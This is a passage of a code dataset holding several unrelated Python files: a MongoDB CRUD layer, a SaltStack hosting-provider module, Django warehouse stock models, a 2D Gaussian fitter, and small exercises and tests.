config[\"MONGO_DB_USERNAME\"]\n pw = config[\"MONGO_DB_PASSWORD\"]\n url = config[\"MONGO_DB_URL\"]\n\n\nMONGODB_URL = f\"mongodb+srv://{un}:{pw}@{url}\"\nclient = motor.motor_asyncio.AsyncIOMotorClient(MONGODB_URL)\ndatabase = client.gpu_database\ngpu_collection = database.get_collection(\"gpu_collection\")\n\n\nasync def get_all_gpus():\n result = []\n async for gpu in gpu_collection.find():\n result.append(gpu)\n return return_status(True, \"DB read succeeded.\", body=result)\n\n\nasync def update_command(id, command):\n await gpu_collection.update_one({\"_id\": id}, command)\n\n\n############# CRUD OPERATION (CREATE) #############\nasync def add_gpu(data: dict):\n result = await gpu_collection.insert_one(data)\n if not result:\n return return_status(False, \"DB insert failed.\")\n else:\n await update_command(\n result.inserted_id,\n {\"$set\": {\"info_last_updated\": utilities.get_current_time()}},\n )\n return return_status(True, \"DB insert succeeded.\")\n\n\n############# CRUD OPERATION (READ) #############\nasync def get_gpu(id: str):\n result = await gpu_collection.find_one({\"_id\": id})\n if not result:\n return return_status(False, \"DB read failed.\")\n else:\n return return_status(True, \"DB read succeeded.\", body=result)\n\n\n############# CRUD OPERATION (UPDATE) #############\nasync def update_gpu(id: str, data: dict):\n result = await gpu_collection.find_one({\"_id\": id})\n if not result:\n return return_status(False, \"DB update failed (item not found).\")\n else:\n update_result = await gpu_collection.update_one({\"_id\": id}, {\"$set\": data})\n if not update_result:\n return return_status(False, \"DB update failed (update failed).\")\n else:\n await update_command(\n id, {\"$set\": {\"info_last_updated\": utilities.get_current_time()}}\n )\n return return_status(True, \"DB update succeeded.\")\n\n\n############# CRUD OPERATION (DELETE) #############\nasync def delete_gpu(id: str):\n result = await gpu_collection.find_one({\"_id\": id})\n if not result:\n return return_status(False, \"DB delete failed (item not found).\")\n else:\n delete_result = await gpu_collection.delete_one({\"_id\": id})\n if not delete_result:\n return return_status(False, \"DB delete failed (delete failed).\")\n else:\n return return_status(True, \"DB delete succeeded.\")\n\n\n############# CRUD OPERATION (CREATE) #############\nasync def add_gpu_price(id: str, price: dict):\n result = await gpu_collection.find_one({\"_id\": id})\n if result:\n # Check if price info exists\n count_if_exists = await gpu_collection.count_documents(\n {\"_id\": id, \"price_data.date\": price[\"date\"]},\n )\n # If price info does exists:\n if count_if_exists > 0:\n update_result = await gpu_collection.update_one(\n {\"_id\": id, \"price_data.date\": price[\"date\"]},\n {\"$set\": {\"price_data.$\": price}},\n )\n else:\n update_result = await gpu_collection.update_one(\n {\"_id\": id}, {\"$push\": {\"price_data\": price}}\n )\n if not update_result:\n return return_status(False, \"Price insert failed (price not inserted).\")\n else:\n await update_command(\n id, {\"$set\": {\"price_last_updated\": utilities.get_current_time()}}\n )\n return return_status(True, \"Price insert succeeded.\")\n else:\n return return_status(False, \"Price insert failed (gpu not found).\")\n\n\n############## CRUD OPERATION (READ) #############\nasync def get_gpu_price(id: str):\n result = await gpu_collection.find_one({\"_id\": id})\n if not result:\n return return_status(False, \"Price read failed (gpu not found).\")\n else:\n return return_status(True, \"Price read succeeded.\", body=result[\"price_data\"])\n\n\n############## CRUD OPERATION (UPDATE) #############\n# async def update_gpu_price(id: str, price: dict):\n# print(price)\n# result = await gpu_collection.find_one({\"_id\": id})\n# if not result:\n# return return_status(False, \"Price update failed (item not found).\")\n# else:\n# update_result = await gpu_collection.update_one(\n# {\"_id\": id, \"price_data.date\": price[\"date\"]},\n# {\"$set\": {\"price_data.$\": price}},\n# )\n# if not update_result:\n# return return_status(False, \"Price update failed (update failed).\")\n# else:\n# await update_command(id, {\"$set\": {\"price_last_updated\": datetime.now()}})\n# return return_status(True, \"Price update succeeded.\")\n\n\n# ############## CRUD OPERATION (DELETE) #############\n# async def delete_gpu_price(id: str, date: str):\n# result = await gpu_collection.find_one({\"_id\": id})\n# if not result:\n# return return_status(False, \"Price read failed (gpu not found).\")\n# else:\n# delete_result = await gpu_collection.update_one(\n# {\"_id\": id}, {\"$pull\": {\"price_data.$\": {\"date\": date}}}\n# )\n# if not delete_result:\n# return return_status(False, \"Price delete failed (delete failed).\")\n# else:\n# await update_command(id, {\"$set\": {\"price_last_updated\": datetime.now()}})\n# return return_status(True, \"Price delete succeeded.\")\n","sub_path":"app/server/database/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":5869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"212750679","text":"#!/usr/bin/env python\n'''\n\n.. _module_mc_provider:\n\nmc_provider / provider functions\n============================================\n\n\n\nUseful functions to locate a particular host\nor setting\n'''\n\n# -*- coding: utf-8 -*-\n# Import python libs\nimport xmlrpclib\nimport logging\nimport urllib2\nimport requests\nimport mc_states.api\nfrom salt.utils.odict import OrderedDict\n\nimport salt.exceptions\n\nclass ClientNotActivated(salt.exceptions.SaltException):\n \"\"\".\"\"\"\n\n__name = 'provider'\n_marker = object()\n\nlog = logging.getLogger(__name__)\n\ntry:\n import ovh\n HAS_OVH = True\nexcept ImportError:\n HAS_OVH = False\n\n\ndef settings():\n '''\n provider settings\n\n is\n booleans\n\n online\n are we on an online host\n ovh\n are we on an ovh host\n sys\n are we on an soyoustart host\n\n have_rpn\n online specific: do we have rpn\n\n '''\n @mc_states.api.lazy_subregistry_get(__salt__, __name)\n def _settings():\n grains = __grains__\n is_ovh = 'ovh' in __grains__['id']\n is_sys = __grains__['id'].startswith('sys-')\n is_online = 'online-dc' in __grains__['id']\n have_rpn = None\n ifaces = grains['ip_interfaces'].items()\n data = __salt__['mc_utils.defaults'](\n 'makina-states.localsettings.provider', {\n 'gandi': {\n 'default': {\n 'activated': False,\n 'api': 'https://rpc.gandi.net/xmlrpc/',\n 'api_key': None,\n }\n },\n 'ovh': {\n 'default': {\n 'activated': False,\n 'api': 'https://eu.api.ovh.com/1.0',\n 'endpoint': 'ovh-eu',\n 'login': None,\n 'password': None,\n 'application_name': None,\n 'application_description': None,\n 'application_key': None,\n 'application_secret': None,\n 'consumer_key': None,\n }\n },\n 'is': {\n 'online': is_online,\n 'ovh': is_ovh,\n 'sys': is_sys,\n },\n 'have_rpn': have_rpn,\n })\n if data['is']['online'] and data['have_rpn'] is None:\n for ifc in ['eth1', 'em1']:\n if True in [ifc == a[0] for a in ifaces]:\n data['have_rpn'] = True # must stay none if not found\n return data\n return _settings()\n\n\ndef get_provider_opt(provider, opt, default=_marker, domain=None):\n data = settings()[provider]\n val = _marker\n if domain:\n val = data.get(domain, {}).get(opt, _marker)\n if val is _marker:\n val = data['default'].get(opt, _marker)\n if val is _marker:\n if default is not _marker:\n val = default\n else:\n raise KeyError(opt)\n return val\n\n\ndef get_ovh_opt(opt, default=None, domain=None):\n return get_provider_opt('ovh', opt, domain=domain)\n\n\ndef get_gandi_opt(opt, default=None, domain=None):\n return get_provider_opt('gandi', opt, domain=domain)\n\n\ndef ovh_auth(app_key=None):\n if not app_key:\n app_key = get_ovh_opt('application_key')\n headers = {\"X-Ovh-Application\": app_key,\n \"Content-type\": \"application/json\"}\n end_point = get_ovh_opt('api') + '/auth/credential'\n payload = __salt__['mc_utils.json_dump']({\n \"accessRules\": [\n {\"method\": \"POST\", \"path\": \"/*\"},\n {\"method\": \"GET\", \"path\": \"/*\"},\n {\"method\": \"PUT\", \"path\": \"/*\"},\n {\"method\": \"DELETE\", \"path\": \"/*\"}\n ],\n \"redirection\": \"https://www.makina-corpus.com\",\n })\n try:\n res = requests.post(end_point, data=payload, headers=headers)\n data = res.json()\n except (urllib2.HTTPError,) as exc:\n if exc.getcode() == 404:\n raise Exception('register a new app on'\n ' https://eu.api.ovh.com/createApp/')\n return data\n\n\ndef gandi_client(**kw):\n domain = kw.get('domain', None)\n if not get_gandi_opt('activated', domain=domain):\n raise ClientNotActivated('gandi')\n uapi = get_gandi_opt('api', domain=domain)\n apikey = get_gandi_opt('api_key', domain=domain)\n api = xmlrpclib.ServerProxy(uapi)\n return api, apikey\n\n\ndef ovh_client(**kw):\n domain = kw.pop('domain', None)\n if not get_ovh_opt('activated', domain=domain):\n raise ClientNotActivated('ovh')\n if not HAS_OVH:\n raise ValueError(\n 'Please install ovh bindings, pip install ovh')\n ckw = {}\n for i in [\n 'application_key',\n 'endpoint',\n 'application_secret',\n 'consumer_key'\n ]:\n ckw[i] = kw.setdefault(i, get_ovh_opt(i, domain=domain))\n client = ovh.Client(**ckw)\n return client\n\n\ndef have_rpn():\n _s = __salt__\n providers = _s['mc_provider.settings']()\n have_rpn = providers['have_rpn']\n return have_rpn\n# vim:set et sts=4 ts=4 tw=80:\n","sub_path":"doc/sphinx/mc_states/modules/mc_provider.py","file_name":"mc_provider.py","file_ext":"py","file_size_in_byte":5195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"444132279","text":"def make_counter(x):\n print('entering make_counter')\n while True:\n yield x\n print('incrementing x')\n x = x + 1\n\n \n# makes a generator that adds 1 to whatever number you pass it\n#\n# “yield” pauses a function. “next()” resumes where it left off.\n#\n#\n# Example:\n# counter = make_counter(5):\n# next(counter)\n# next(counter)\n# yada, yada, yada\n","sub_path":"chapter_6_6_generators_simple_make_counter.py","file_name":"chapter_6_6_generators_simple_make_counter.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"146502548","text":"import h5py\nimport hdf5plugin\nimport numpy\nimport tempfile\n\n\ndef test_is_h5py_correctly_installed():\n \"\"\"\n If this test fails you probably need to install h5py from source manually:\n\n $ pip install --no-binary=h5py h5py\n \"\"\"\n f = h5py.File(tempfile.gettempdir() + '/h5testfile', \"w\")\n block_size = 0\n dataset = f.create_dataset(\n \"data\",\n (100, 100, 100),\n dtype='float32',\n **hdf5plugin.Bitshuffle(nelems=0, lz4=True)\n )\n\n array = numpy.random.rand(100, 100, 100)\n array = array.astype('float32')\n dataset[:] = array\n f.close()\n\n","sub_path":"tests/test_h5py.py","file_name":"test_h5py.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"290425990","text":"from django.db import models\nfrom django.db.models.signals import post_save\nfrom django.utils.translation import gettext_lazy as _\nfrom django.utils import timezone\nfrom django.dispatch import receiver\n\nfrom mptt.models import MPTTModel, TreeForeignKey\n\nfrom wagtail.search import index\n\nfrom wagtailkit.core.models.settings import CompanySettings\nfrom wagtailkit.core.models import KitBaseModel, MAX_LEN_MEDIUM, MAX_LEN_SHORT\nfrom wagtailkit.numerators.models import NumeratorMixin\nfrom wagtailkit.products.models import Product, Inventory, Asset\n\n\nclass WarehouseLocation(index.Indexed, MPTTModel):\n class Meta:\n verbose_name = _(\"Location\")\n verbose_name_plural = _(\"Locations\")\n\n PHYSICAL = 'PSC'\n VIRTUAL = 'VRT'\n LOC_TYPE = (\n (PHYSICAL, _('Physical')),\n (VIRTUAL, _('Virtual')),\n )\n\n parent = TreeForeignKey(\n 'WarehouseLocation',\n null=True, blank=True,\n on_delete=models.SET_NULL,\n verbose_name=_('Parent'))\n code = models.CharField(\n max_length=MAX_LEN_SHORT,\n verbose_name=_('Code'))\n name = models.CharField(\n max_length=MAX_LEN_MEDIUM,\n verbose_name=_('Name'))\n loc_type = models.CharField(\n max_length=MAX_LEN_SHORT,\n choices=LOC_TYPE, default=PHYSICAL,\n verbose_name=_('Location type'))\n\n search_fields = [\n index.SearchField('name', partial_match=True)\n ]\n\n def __str__(self):\n return self.name\n\n\nclass ProductStorage(KitBaseModel, NumeratorMixin):\n class Meta:\n verbose_name = _(\"Product Storage\")\n verbose_name_plural = _(\"Product Storages\")\n\n doc_code = 'PR.STG'\n\n parent = TreeForeignKey(\n WarehouseLocation,\n null=True, blank=True,\n on_delete=models.SET_NULL,\n verbose_name=_('Location'))\n name = models.CharField(\n max_length=MAX_LEN_MEDIUM,\n verbose_name=_('Storage name'))\n products = models.ManyToManyField(\n Product, related_name='storage_location',\n verbose_name=_('Products')\n )\n\n def __str__(self):\n return self.name\n\n\nclass StockCard(KitBaseModel):\n class Meta:\n verbose_name = _('Stock Card')\n verbose_name_plural = _('Stock Cards')\n\n product = models.OneToOneField(\n Product, on_delete=models.CASCADE,\n verbose_name=_('Product'))\n stock_on_hand = models.PositiveIntegerField(\n default=0, verbose_name=_(\"On hand\"))\n stock_on_request = models.PositiveIntegerField(\n default=0, verbose_name=_(\"On request\"))\n stock_on_delivery = models.PositiveIntegerField(\n default=0, verbose_name=_(\"On delivery\"))\n stock_scrapped = models.PositiveIntegerField(\n default=0, verbose_name=_(\"Scrapped\"))\n\n @staticmethod\n @receiver(post_save, sender=Inventory)\n def create_inventory_stock_card(sender, **kwargs):\n \"\"\" Create stock card when new Inventory created \"\"\"\n created = kwargs.pop('created', False)\n instance = kwargs.pop('instance', None)\n if created:\n StockCard.objects.create(\n product=instance,\n )\n\n @staticmethod\n @receiver(post_save, sender=Asset)\n def create_asset_stock_card(sender, **kwargs):\n \"\"\" Create stock card when new Asset created \"\"\"\n created = kwargs.pop('created', False)\n instance = kwargs.pop('instance', None)\n if created:\n StockCard.objects.create(\n product=instance,\n )\n\n @property\n def stock_min(self):\n return self.product.minimum_stock\n\n @property\n def stock_max(self):\n return self.product.maximum_stock\n\n @property\n def unit_price(self):\n return self.product.unit_price\n\n @property\n def total_price(self):\n return self.stock_on_hand * self.unit_price\n\n @property\n def stock(self):\n qty = (\n self.stock_on_hand\n - self.stock_on_request\n + self.stock_on_delivery\n )\n return qty\n\n def get_history_queryset(self, request, date_from=None, date_until=None):\n \"\"\"\n Get Stock history beetween two dates\n \"\"\"\n real_instance = self.product.get_real_instance()\n adjustment = real_instance.adjustedproduct_set.all()\n settings = CompanySettings.for_site(request.site)\n fcl_start = settings.fiscal_year_start\n fcl_end = settings.fiscal_year_end\n fcl_start_datetime = timezone.datetime(\n fcl_start.year, fcl_start.month, fcl_start.day, hour=0, minute=0, second=0)\n fcl_end_datetime = timezone.datetime(\n fcl_end.year, fcl_end.month, fcl_end.day, hour=23, minute=59, second=59)\n date_from = date_from or fcl_start_datetime or timezone.datetime(2010, 1, 1, hour=0, minute=0, second=0)\n date_until = date_until or fcl_end_datetime or timezone.now()\n\n if isinstance(real_instance, Inventory):\n transfer_line = real_instance.inventorytransferline_set.all()\n else:\n transfer_line = real_instance.assettransferline_set.all()\n\n transfers = transfer_line.filter(\n date_created__gte=date_from,\n date_created__lte=date_until,\n producttransfer__status='complete'\n ).values('id').annotate(\n date=models.F('producttransfer__date_created'),\n flow=models.F('producttransfer__reftype'),\n reference=models.F('producttransfer__inner_id'),\n memo=models.F('producttransfer__title'),\n qty=models.F('quantity'),\n )\n\n adjustments = adjustment.filter(\n date_created__gte=date_from,\n date_created__lte=date_until,\n stock_adjustment__is_reconciled=True\n ).values('id').annotate(\n date=models.F('stock_adjustment__effective_date'),\n flow=models.Value('IN', output_field=models.CharField()),\n reference=models.F('stock_adjustment__inner_id'),\n memo=models.F('stock_adjustment__title'),\n qty=models.F('new_stock_on_hand'),\n )\n\n return adjustments.union(transfers).order_by('date')\n\n def get_history_items(self, request, date_from=None, date_until=None):\n histories = self.get_history_queryset(request, date_from, date_until)\n results = []\n stock = 0\n for res in histories:\n if res['flow'] == 'IN':\n stock += res['qty']\n res['stock'] = stock\n else:\n stock -= res['qty']\n res['stock'] = stock\n results.append(res)\n return results\n\n def __str__(self):\n return self.product.name\n","sub_path":"wagtailkit/warehouse/models/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":6683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"123387757","text":"from typing import Optional, List\n\nfrom .ui import UI\nfrom .button import Button\n\n\nclass Element(UI):\n \"\"\"\n Элемент карусели\n \"\"\"\n\n def __init__(\n self,\n *,\n buttons: List[Button],\n title: Optional[str] = None,\n description: Optional[str] = None,\n photo_id: Optional[int] = None\n ):\n self.info = dict(buttons=[but.info for but in buttons], action={})\n if title is not None:\n self.info.update(title=title)\n if description is not None:\n self.info.update(description=description)\n if photo_id is not None:\n self.info.update(photo_id=photo_id)\n\n def open_link(self, link):\n self.info[\"action\"] = dict(type=\"open_link\", link=link)\n return self\n\n def open_photo(self):\n self.info[\"action\"] = dict(type=\"open_photo\")\n return self\n","sub_path":"vkquick/tools/element.py","file_name":"element.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"512338135","text":"# 에라토스체\n\ndef is_prime(num):\n if num <=1 :\n return False\n i = 2\n while i*i <= num:\n if num%i ==0:\n return False\n i = i + 1\n return True\n\nprint(is_prime(11))","sub_path":"lesson121.py","file_name":"lesson121.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"587694450","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 16 15:39:11 2017\n\n@author: ycan\n\n\nCopied from https://github.com/keflavich/gaussfitter/blob/master/gaussfitter/gaussfitter.py\n\n\"\"\"\n\n\nimport numpy as np\nimport sys\n\ntry:\n from mpfit import mpfit\nexcept ImportError:\n sys.path.append('/home/ycan/repos/pymer/external_libs')\n from mpfit import mpfit\n\ndef moments(data, circle, rotate, vheight, estimator=np.ma.median, angle_guess=45.0,\n **kwargs):\n \"\"\"\n Returns (height, amplitude, x, y, width_x, width_y, rotation angle)\n the gaussian parameters of a 2D distribution by calculating its\n moments. Depending on the input parameters, will only output\n a subset of the above.\n If using masked arrays, pass estimator=np.ma.median\n \"\"\"\n total = np.abs(data).sum()\n Y, X = np.indices(data.shape) # python convention: reverse x,y np.indices\n y = np.argmax((X*np.abs(data)).sum(axis=1)/total)\n x = np.argmax((Y*np.abs(data)).sum(axis=0)/total)\n col = data[int(y), :]\n # FIRST moment, not second!\n width_x = np.sqrt(np.abs((np.arange(col.size)-y)*col).sum() / np.abs(col).sum())\n row = data[:, int(x)]\n width_y = np.sqrt(np.abs((np.arange(row.size)-x)*row).sum() / np.abs(row).sum())\n width = (width_x + width_y) / 2.\n height = estimator(data.ravel())\n amplitude = data.max()-height\n mylist = [amplitude, x, y]\n if np.isnan((width_y, width_x, height, amplitude)).any():\n raise ValueError(\"something is nan\")\n if vheight:\n mylist = [height] + mylist\n if not circle:\n mylist = mylist + [width_x, width_y]\n if rotate:\n # rotation \"moment\" is a little above zero to initiate the fitter\n # with something not locked at the edge of parameter space\n mylist = mylist + [angle_guess]\n # also, circles don't rotate.\n else:\n mylist = mylist + [width]\n return mylist\n\n\ndef twodgaussian(inpars, circle=False, rotate=True, vheight=True, shape=None):\n \"\"\"\n Returns a 2d gaussian function of the form:\n x' = np.cos(rota) * x - np.sin(rota) * y\n y' = np.sin(rota) * x + np.cos(rota) * y\n (rota should be in degrees)\n g = b + a * np.exp ( - ( ((x-center_x)/width_x)**2 +\n ((y-center_y)/width_y)**2 ) / 2 )\n inpars = [b,a,center_x,center_y,width_x,width_y,rota]\n (b is background height, a is peak amplitude)\n where x and y are the input parameters of the returned function,\n and all other parameters are specified by this function\n However, the above values are passed by list. The list should be:\n inpars = (height,amplitude,center_x,center_y,width_x,width_y,rota)\n You can choose to ignore / neglect some of the above input parameters using\n the following options:\n Parameters\n ----------\n circle : bool\n default is an elliptical gaussian (different x, y widths), but can\n reduce the input by one parameter if it's a circular gaussian\n rotate : bool\n default allows rotation of the gaussian ellipse. Can\n remove last parameter by setting rotate=0\n vheight : bool\n default allows a variable height-above-zero, i.e. an\n additive constant for the Gaussian function. Can remove first\n parameter by setting this to 0\n shape : tuple\n if shape is set (to a 2-parameter list) then returns an image with the\n gaussian defined by inpars\n \"\"\"\n inpars_old = inpars\n inpars = list(inpars)\n if vheight:\n height = inpars.pop(0)\n height = float(height)\n else:\n height = float(0)\n amplitude, center_y, center_x = inpars.pop(0), inpars.pop(0), inpars.pop(0)\n amplitude = float(amplitude)\n center_x = float(center_x)\n center_y = float(center_y)\n if circle:\n width = inpars.pop(0)\n width_x = float(width)\n width_y = float(width)\n rotate = 0\n else:\n width_x, width_y = inpars.pop(0), inpars.pop(0)\n width_x = float(width_x)\n width_y = float(width_y)\n if rotate:\n rota = inpars.pop(0)\n rota = np.pi/180. * float(rota)\n rcen_x = center_x * np.cos(rota) - center_y * np.sin(rota)\n rcen_y = center_x * np.sin(rota) + center_y * np.cos(rota)\n else:\n rcen_x = center_x\n rcen_y = center_y\n if len(inpars) > 0:\n raise ValueError(\"There are still input parameters:\" + str(inpars) +\n \" and you've input: \" + str(inpars_old) +\n \" circle=%d, rotate=%d, vheight=%d\" % (circle, rotate, vheight))\n\n def rotgauss(x, y):\n if rotate:\n xp = x * np.cos(rota) - y * np.sin(rota)\n yp = x * np.sin(rota) + y * np.cos(rota)\n else:\n xp = x\n yp = y\n g = height+amplitude*np.exp(-(((rcen_x-xp)/width_x)**2 +\n ((rcen_y-yp)/width_y)**2)/2.)\n return g\n if shape is not None:\n return rotgauss(*np.indices(shape))\n else:\n return rotgauss\n\n\ndef gaussfit(data, err=None, params=(), autoderiv=True, return_error=False,\n circle=False, fixed=np.repeat(False, 7),\n limitedmin=[False, False, False, False, True, True, True],\n limitedmax=[False, False, False, False, False, False, True],\n usemoment=np.array([], dtype='bool'), minpars=np.repeat(0, 7),\n maxpars=[0, 0, 0, 0, 0, 0, 180], rotate=True, vheight=True,\n quiet=True, returnmp=False, returnfitimage=False, **kwargs):\n \"\"\"\n Gaussian fitter with the ability to fit a variety of different forms of\n 2-dimensional gaussian.\n Parameters\n ----------\n data : `numpy.ndarray`\n 2-dimensional data array\n err : `numpy.ndarray` or None\n error array with same size as data array. Defaults to 1 everywhere.\n params : (height, amplitude, x, y, width_x, width_y, rota)\n Initial input parameters for Gaussian function. If not input, these\n will be determined from the moments of the system, assuming no rotation\n autoderiv : bool\n Use the autoderiv provided in the lmder.f function (the alternative is\n to us an analytic derivative with lmdif.f: this method is less robust)\n return_error : bool\n Default is to return only the Gaussian parameters.\n If ``True``, return fit params & fit error\n returnfitimage : bool\n returns (best fit params,best fit image)\n returnmp : bool\n returns the full mpfit struct\n circle : bool\n The default is to fit an elliptical gaussian (different x, y widths),\n but the input is reduced by one parameter if it's a circular gaussian.\n rotate : bool\n Allow rotation of the gaussian ellipse. Can remove\n last parameter of input & fit by setting rotate=False.\n Angle should be specified in degrees.\n vheight : bool\n Allows a variable height-above-zero, i.e. an additive constant\n background for the Gaussian function. Can remove the first fitter\n parameter by setting this to ``False``\n usemoment : `numpy.ndarray`, dtype='bool'\n Array to choose which parameters to use a moment estimation for. Other\n parameters will be taken from params.\n Returns\n -------\n (params, [parerr], [fitimage]) | (mpfit, [fitimage])\n parameters : list\n The default output is a set of Gaussian parameters with the same shape\n as the input parameters\n fitimage : `numpy.ndarray`\n If returnfitimage==True, the last return will be a 2D array holding the\n best-fit model\n mpfit : `mpfit` object\n If ``returnmp==True`` returns a `mpfit` object. This object contains a\n `covar` attribute which is the 7x7 covariance array generated by the\n mpfit class in the `mpfit_custom.py` module. It contains a `param`\n attribute that contains a list of the best fit parameters in the same\n order as the optional input parameter `params`.\n \"\"\"\n data = data.view(np.ma.MaskedArray)\n usemoment = np.array(usemoment, dtype='bool')\n params = np.array(params, dtype='float')\n if usemoment.any() and len(params) == len(usemoment):\n moment = np.array(moments(data, circle, rotate, vheight, **kwargs), dtype='float')\n params[usemoment] = moment[usemoment]\n elif params == [] or len(params) == 0:\n params = (moments(data, circle, rotate, vheight, **kwargs))\n if not vheight:\n # If vheight is not set, we set it for sub-function calls but fix the\n # parameter at zero\n vheight = True\n params = np.concatenate([[0], params])\n fixed[0] = 1\n\n # mpfit will fail if it is given a start parameter outside the allowed range:\n for i in range(len(params)):\n if params[i] > maxpars[i] and limitedmax[i]: params[i] = maxpars[i]\n if params[i] < minpars[i] and limitedmin[i]: params[i] = minpars[i]\n\n # One time: check if error is set, otherwise fix it at 1.\n err = err if err is not None else 1.0\n\n def mpfitfun(data, err):\n def f(p, fjac):\n twodg = twodgaussian(p, circle, rotate, vheight)\n delta = (data - twodg(*np.indices(data.shape))) / err\n return [0, delta.compressed()]\n return f\n\n parinfo = [{'n': 1, 'value': params[1], 'limits': [minpars[1], maxpars[1]],\n 'limited': [limitedmin[1], limitedmax[1]], 'fixed': fixed[1],\n 'parname': \"AMPLITUDE\", 'error': 0},\n {'n': 2, 'value': params[2], 'limits': [minpars[2], maxpars[2]],\n 'limited': [limitedmin[2], limitedmax[2]], 'fixed': fixed[2],\n 'parname': \"XSHIFT\", 'error': 0},\n {'n': 3, 'value': params[3], 'limits': [minpars[3], maxpars[3]],\n 'limited': [limitedmin[3], limitedmax[3]], 'fixed': fixed[3],\n 'parname': \"YSHIFT\", 'error': 0},\n {'n': 4, 'value': params[4], 'limits': [minpars[4], maxpars[4]],\n 'limited': [limitedmin[4], limitedmax[4]], 'fixed': fixed[4],\n 'parname': \"XWIDTH\", 'error': 0}]\n if vheight:\n parinfo.insert(0, {'n': 0, 'value': params[0], 'limits': [minpars[0], maxpars[0]],\n 'limited': [limitedmin[0], limitedmax[0]], 'fixed': fixed[0],\n 'parname': \"HEIGHT\", 'error': 0})\n if not circle:\n parinfo.append({'n': 5, 'value': params[5], 'limits': [minpars[5], maxpars[5]],\n 'limited': [limitedmin[5], limitedmax[5]], 'fixed': fixed[5],\n 'parname': \"YWIDTH\", 'error': 0})\n if rotate:\n parinfo.append({'n': 6, 'value': params[6], 'limits': [minpars[6], maxpars[6]],\n 'limited': [limitedmin[6], limitedmax[6]], 'fixed': fixed[6],\n 'parname': \"ROTATION\", 'error': 0})\n\n if not autoderiv:\n # the analytic derivative, while not terribly difficult, is less\n # efficient and useful. I only bothered putting it here because I was\n # instructed to do so for a class project - please ask if you would\n # like this feature implemented\n raise NotImplementedError(\"I'm sorry, I haven't implemented this feature yet. \"\n \"Given that I wrote this message in 2008, \"\n \"it will probably never be implemented.\")\n else:\n mp = mpfit(mpfitfun(data, err), parinfo=parinfo, quiet=quiet)\n\n if mp.errmsg:\n raise Exception(\"MPFIT error: {0}\".format(mp.errmsg))\n\n if (not circle) and rotate:\n mp.params[-1] %= 180.0\n\n mp.chi2 = mp.fnorm\n try:\n mp.chi2n = mp.fnorm/mp.dof\n except ZeroDivisionError:\n mp.chi2n = np.nan\n\n if returnmp:\n returns = (mp)\n elif return_error:\n returns = mp.params, mp.perror\n else:\n returns = mp.params\n if returnfitimage:\n fitimage = twodgaussian(mp.params, circle, rotate, vheight)(*np.indices(data.shape))\n returns = (returns, fitimage)\n return returns\n\n\n# %%\n#plt.imshow(fit_frame)\np = gaussfit(fit_frame)\nfit_func = gaussian(*p)\n\nX, Y = np.meshgrid(np.arange(fit_frame.shape[0]), np.arange(fit_frame.shape[1]))\n\nZ = fit_func(Y, X)\n\nplt.imshow(Z)\n#plt.contour(fit_func(*np.indices(fit_frame.shape)), cmap=plt.cm.copper)\nplt.show()\nplt.imshow(fit_frame)\nplt.show()","sub_path":"unused/surround-gaussian/gaussian_fit2_scratch.py","file_name":"gaussian_fit2_scratch.py","file_ext":"py","file_size_in_byte":12394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"94408216","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: Kai Borowiak\n@summary: TestSuite for testlink.objects.TestRequirementSpecification\n\"\"\"\n\n# IMPORTS\nimport unittest\n\nfrom .. import randput\n\nfrom testlink.objects.tl_reqspec import RequirementSpecification\n\nclass RequirementSpecificationTests(unittest.TestCase):\n \"\"\"Requirement Specification Object Tests\"\"\"\n\n def __init__(self, *args, **kwargs):\n super(RequirementSpecificationTests, self).__init__(*args, **kwargs)\n self._testMethodDoc = \"RequirementSpecification: \" + self._testMethodDoc\n\n def test__str__(self):\n \"\"\"String representation\"\"\"\n doc_id = randput()\n name = randput()\n obj = RequirementSpecification(doc_id=doc_id, title=name)\n string = str(obj)\n self.assertEqual(string, \"Requirement Specification %s: %s\" % (doc_id, name))\n","sub_path":"test/test_objects/test_RequirementSpecification.py","file_name":"test_RequirementSpecification.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"573067028","text":"# https://www.hackerrank.com/challenges/compare-the-triplets\n\n# Copyright (C) 2019 Matthias Paulmier\n\n# This work is free. You can redistribute it and/or modify it under the\n# terms of the Do What The Fuck You Want To Public License, Version 2,\n# as published by Sam Hocevar. See the COPYING file for more details.\n\nimport os\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n a = list(map(int, input().rstrip().split()))\n\n b = list(map(int, input().rstrip().split()))\n\n scores = [0, 0]\n\n for item in list(zip(a, b)):\n if item[0] == item[1]:\n continue\n elif item[0] == max(item):\n scores[0] += 1\n else:\n scores[1] += 1\n\n fptr.write(' '.join(map(str, scores)))\n fptr.write('\\n')\n\n fptr.close()\n","sub_path":"problems/compare_the_triples.py","file_name":"compare_the_triples.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"378040834","text":"# encoding=utf-8\n#\n# Python Version 3.5\n# 利用数学中的复数 求解 一元一次方程(从网上看来的)\n\n\ndef solve(qx, var):\n qx = qx.replace('=', '-(') + ')'\n c = eval(qx , {var: 1j})\n return -c.real/c.imag\n\nres = solve('2*x + 4 = 